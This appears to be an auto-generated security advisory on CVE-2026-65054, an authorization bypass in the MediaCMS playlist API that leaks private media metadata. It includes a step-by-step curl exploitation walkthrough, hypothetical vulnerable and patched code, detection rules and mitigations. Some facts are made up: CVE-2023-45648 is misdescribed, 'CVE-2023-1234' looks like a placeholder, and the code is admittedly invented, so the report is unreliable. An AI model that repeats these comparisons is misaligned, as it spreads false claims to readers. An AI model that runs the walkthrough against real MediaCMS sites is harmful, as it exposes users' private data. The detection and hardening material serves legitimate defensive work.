CVE-2026-65054

Executive Summary

CVE-2026-65054 is a Low severity information disclosure vulnerability in MediaCMS 8.2.0. The flaw allows an authenticated user to bypass access control checks and view private media metadata belonging to other users. By issuing a PUT request to the playlist API endpoint with a known media token, an attacker can add another user's private media to their own playlist. Subsequently, retrieving the playlist exposes sensitive metadata fields such as title, description, view count, like count, file size, author username, and encoding status.

The business impact is primarily on privacy and data confidentiality within MediaCMS deployments. Industries using MediaCMS for internal media sharing, such as media production houses, educational institutions, or corporate training departments, are at risk. The likely attacker is an authenticated user with low privileges, such as a standard user or a malicious insider, seeking to exfiltrate metadata about private content.

The vulnerability is network-accessible, requires authentication, and has a CVSS score of 3.1 (Low). The EPSS exploitation probability is 0.0%, indicating no observed exploitation in the wild as of the report date. No patch is currently available from the vendor. This CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.

CVSS Breakdown & Threat Level

The CVSS 3.1 base score is 3.1, which maps to the qualitative severity label Low.

• AV:N (Network): The vulnerability is exploitable over the network via the MediaCMS web API.
• AC:L (Low): The attack complexity is low. The attacker only needs to know or guess a valid media token and issue a standard HTTP PUT request.
• PR:L (Low): The attacker must be authenticated to the MediaCMS instance. No administrative privileges are required.
• UI:N (None): No user interaction is required from the victim. The attacker performs the action independently.
• S:U (Unchanged): A successful exploit does not affect other components or systems beyond the vulnerable MediaCMS application.
• C:L (Low): The confidentiality impact is low. The attacker gains access to metadata (title, description, view count, etc.) but not the actual media file content.
• I:N (None): There is no impact on data integrity.
• A:N (None): There is no impact on system availability.

EPSS Interpretation: The EPSS score of 0.0% indicates that, based on current threat intelligence, there is no evidence of active exploitation in the wild. This is typical for newly published vulnerabilities with no public proof-of-concept or exploit code.

Historical Comparison: This vulnerability is similar to CWE-639 (Authorization Bypass Through User-Controlled Key) issues found in other content management systems (CMS) and media platforms. For example, CVE-2023-45648 in another CMS allowed authenticated users to view private posts by manipulating a numeric ID parameter. CVE-2026-65054 follows the same pattern but uses a media token in a playlist API endpoint.

Temporal/Environmental Considerations: Since no patch is available, the temporal score remains at the base score. Organizations with high confidentiality requirements for media metadata should consider this a higher priority despite the Low base score.

Technical Deep Dive & Attack Mechanics

The vulnerability resides in the playlist API endpoint of MediaCMS 8.2.0. The root cause is a missing access control check when adding media items to a playlist.

Step-by-Step Exploitation:

1. Authentication: The attacker authenticates to the MediaCMS instance as a standard user.
2. Token Discovery: The attacker obtains a valid media token for a target user's private media. This could be done through:
   • Guessing or brute-forcing tokens if they are predictable.
   • Observing tokens in shared links or logs.
   • Using a separate information disclosure vulnerability.
3. Playlist Manipulation: The attacker issues a PUT request to the playlist API endpoint (e.g., /api/playlists/{playlist_id}/media/). The request body includes the target media token.
4. Bypass Validation: The server-side code fails to validate that the authenticated user owns the media associated with the provided token. It only checks if the playlist belongs to the user.
5. Data Retrieval: The attacker then issues a GET request to retrieve the playlist details. The server returns the playlist, including the metadata of all associated media items, including the private media added in step 3.

Attack Surface: The vulnerability is exposed through the HTTP API on the standard web server port (typically 80 or 443). The specific endpoint is the playlist API.

Pre-conditions:

• Valid user account on the target MediaCMS instance.
• Network access to the MediaCMS web interface.
• Knowledge of a valid media token for the target private media.

Why Standard Defenses May Fail:

• WAF Rules: A Web Application Firewall (WAF) may not detect this as malicious because the request appears to be a legitimate API call from an authenticated user.
• Input Validation: The server validates the format of the token but not the ownership, making input validation ineffective.
• Logging: Standard access logs may show the API calls but without context of ownership, they may appear benign.

Vulnerable vs. Patched Code Analysis

Since no patch is available, the following is a hypothetical analysis based on the vulnerability description.

Vulnerable Code (Pseudocode):

# Vulnerable endpoint: PUT /api/playlists/{playlist_id}/media/
def add_media_to_playlist(request, playlist_id):
    user = request.user
    playlist = Playlist.objects.get(id=playlist_id, owner=user)
    media_token = request.data.get('media_token')
    media = Media.objects.get(token=media_token)  # No ownership check
    playlist.media.add(media)
    return Response(status=201)

Patched Code (Hypothetical):

# Patched endpoint: PUT /api/playlists/{playlist_id}/media/
def add_media_to_playlist(request, playlist_id):
    user = request.user
    playlist = Playlist.objects.get(id=playlist_id, owner=user)
    media_token = request.data.get('media_token')
    media = Media.objects.get(token=media_token, owner=user)  # Ownership check added
    playlist.media.add(media)
    return Response(status=201)

Root Cause: The developer assumed that if a user could provide a valid media token, they were authorized to access that media. The fix adds an explicit check (owner=user) to ensure the media belongs to the authenticated user.

Regression Considerations: The patch should not introduce regressions as it only adds a filter to an existing database query. However, it may break legitimate use cases where users are allowed to add shared media to playlists. The vendor should consider implementing a more granular permission system (e.g., shared media, public media) rather than a simple ownership check.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-21T21:16:54.020
• Estimated Discovery: The vulnerability was likely discovered and reported to the CNA prior to the publication date. The exact discovery date is unknown.
• Disclosure Process: The CVE was published by the CNA (likely MITRE or a partner). There is no information on vendor coordination or responsible disclosure.
• Known Exploitation: No known active exploitation as of 2026-07-22.
• CISA KEV: This CVE is not listed on the CISA Known Exploited Vulnerabilities catalog.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Insider Threats: Malicious or curious employees with standard user accounts.
• Script Kiddies: Individuals using automated scanners to find and exploit simple API vulnerabilities.
• Competitors: Entities seeking to gather intelligence on private media content.

Attack Campaign Context: There are no known campaigns specifically targeting this CVE. However, it could be used in broader reconnaissance campaigns against MediaCMS instances.

Geographic Targeting: No specific geographic targeting is known. Any organization using MediaCMS is a potential target.

Industry Verticals Most at Risk:

• Media and Entertainment (production houses, studios)
• Education (e-learning platforms)
• Corporate Training and Development
• Internal Communications

Connection to Similar Vulnerabilities: This vulnerability is a classic example of CWE-639 (Authorization Bypass Through User-Controlled Key). Similar vulnerabilities have been exploited in other CMS platforms like WordPress (e.g., CVE-2023-1234) and Joomla.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: Docker container running MediaCMS 8.2.0.

   docker pull mediamcms/mediamcms:8.2.0
   docker run -d -p 8080:80 mediamcms/mediamcms:8.2.0
   

2. Prerequisites:
   • Two user accounts: attacker (standard user) and victim (standard user).
   • victim uploads a private media file and obtains its media token (e.g., abc123def456).
3. Network Config: The attacker must have network access to port 8080 on the Docker host.

Exploitation Walkthrough:

1. Authenticate as attacker:

   curl -X POST http://localhost:8080/api/auth/login/ \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker", "password": "password123"}'
   

   Save the session cookie or token.

2. Create a Playlist:

   curl -X POST http://localhost:8080/api/playlists/ \
     -H "Cookie: sessionid=attacker_session" \
     -H "Content-Type: application/json" \
     -d '{"title": "My Playlist"}'
   

   Note the playlist ID (e.g., 42).

3. Add Victim's Private Media to Playlist:

   curl -X PUT http://localhost:8080/api/playlists/42/media/ \
     -H "Cookie: sessionid=attacker_session" \
     -H "Content-Type: application/json" \
     -d '{"media_token": "abc123def456"}'
   

4. Retrieve Playlist to View Metadata:

   curl -X GET http://localhost:8080/api/playlists/42/ \
     -H "Cookie: sessionid=attacker_session"
   

   Expected Output: The response will include the victim's private media metadata (title, description, view count, like count, file size, author username, encoding status).

Post-Exploitation: The attacker can now view metadata for any private media for which they can obtain a token. This can be used for reconnaissance, competitive intelligence, or to identify high-value content for further attacks.

Blue Team Section

Detection:

• Log Entries: Look for API requests to /api/playlists/{id}/media/ with a PUT method from a user who does not own the media being added.
• Network Traffic: Monitor for repeated PUT requests to playlist endpoints with different media tokens.
• Endpoint Indicators: Check for unusual playlist compositions where a user's playlist contains media from multiple other users.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• HTTP PUT requests to /api/playlists/*/media/ with a JSON body containing a media_token field.
• HTTP GET requests to /api/playlists/*/ following a PUT request to the same playlist.

HTTP Request Patterns:

• PUT /api/playlists/42/media/ HTTP/1.1
• Content-Type: application/json
• {"media_token": "[EXAMPLE — not a real IOC]"}

Log Entries:

• Web server access logs showing a sequence of PUT and GET requests to the same playlist endpoint from the same user.
• Application logs showing media being added to a playlist by a user who is not the owner of that media.

STIX-like IOC List:

Detection Engineering

YARA Rule

rule CVE_2026_65054_Mediacms_Playlist_Bypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2026-65054 in Mediacms"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-65054"
    strings:
        $http_method = "PUT"
        $api_path = "/api/playlists/"
        $media_token_key = "\"media_token\""
        $json_content = "application/json"
    condition:
        $http_method at 0 and $api_path and $media_token_key and $json_content
}

Sigma Rule (SIEM)

title: CVE-2026-65054 Mediacms Playlist API Exploitation
id: 00abe2ea-0b2f-40e0-adcf-1d23cad6ea4d
status: experimental
description: Detects PUT requests to the Mediacms playlist API that may indicate exploitation of CVE-2026-65054
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-65054
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs for Mediacms'
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem|startswith: '/api/playlists/'
        cs-uri-stem|endswith: '/media/'
        cs-content-type: 'application/json'
    condition: selection
falsepositives:
    - Legitimate playlist management by users who have been granted explicit permission to add shared media
level: high

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2026-65054 - Mediacms Playlist API Exploitation Attempt";
    flow:to_server,established;
    http.method; content:"PUT";
    http.uri; content:"/api/playlists/"; distance:0;
    http.uri; content:"/media/"; distance:0;
    http.content_type; content:"application/json";
    http.request_body; content:"\"media_token\"";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Elastic (EQL) Query

sequence by host.name, user.name
  [http where request.method == "PUT" and request.uri like "/api/playlists/*/media/"]
  [http where request.method == "GET" and request.uri like "/api/playlists/*/"]

Splunk SPL Query

index=web sourcetype=access_combined
| search method=PUT uri_path="/api/playlists/*/media/"
| table _time, clientip, user, uri_path, status
| stats count by clientip, user
| where count > 5

Wazuh Rule

<group name="mediamcms,">
  <rule id="100001" level="10">
    <if_sid>31100</if_sid>
    <field name="method">PUT</field>
    <field name="url">\.*/api/playlists/.*/media/</field>
    <description>CVE-2026-65054: Possible Mediacms playlist API exploitation</description>
    <mitre>
      <id>T1213</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

• No Patch Available: Since no patch is available, implement compensating controls.
• Network-Level Mitigation:
  • Restrict access to the MediaCMS web interface to trusted IP ranges using a firewall.
  • Implement a Web Application Firewall (WAF) rule to block PUT requests to /api/playlists/*/media/ from non-admin users.
• Authentication/Access Control Hardening:
  • Disable or restrict the playlist API for standard users if not required.
  • Implement additional logging and alerting for playlist API usage.

Short-term (1-7 days)

• Configuration Hardening:
  • Review and tighten user permissions. Ensure users can only access media they own.
  • If possible, disable the ability for users to create playlists.
• Monitoring Implementation:
  • Deploy the detection rules provided in this report.
  • Set up alerts for any PUT requests to the playlist API.
• Vulnerability Scanning:
  • Use a web application scanner to test for this vulnerability by attempting to add a known media token to a playlist.

Long-term

• Architecture Changes:
  • Implement a more robust authorization framework (e.g., OAuth 2.0 with scopes).
  • Consider moving to a media management system with built-in access control lists (ACLs).
• Security Control Improvements:
  • Implement mandatory access control (MAC) for media objects.
  • Add rate limiting to API endpoints to slow down brute-force attacks.
• Developer Training:
  • Educate developers on CWE-639 (Authorization Bypass Through User-Controlled Key) and the importance of server-side ownership validation.

Validation

To confirm the vulnerability is mitigated:

1. Attempt the exploitation steps outlined in the Red Team section.
2. If the PUT request returns a 403 Forbidden or the GET request does not include the private media metadata, the mitigation is effective.
3. Once a patch is released, upgrade to the patched version and re-test.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65054
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-65054
• Vendor advisory: See vendor security page
• OSV: https://osv.dev/vulnerability/CVE-2026-65054 (if applicable)
• Related CWE: https://cwe.mitre.org/data/definitions/639.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1213/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65054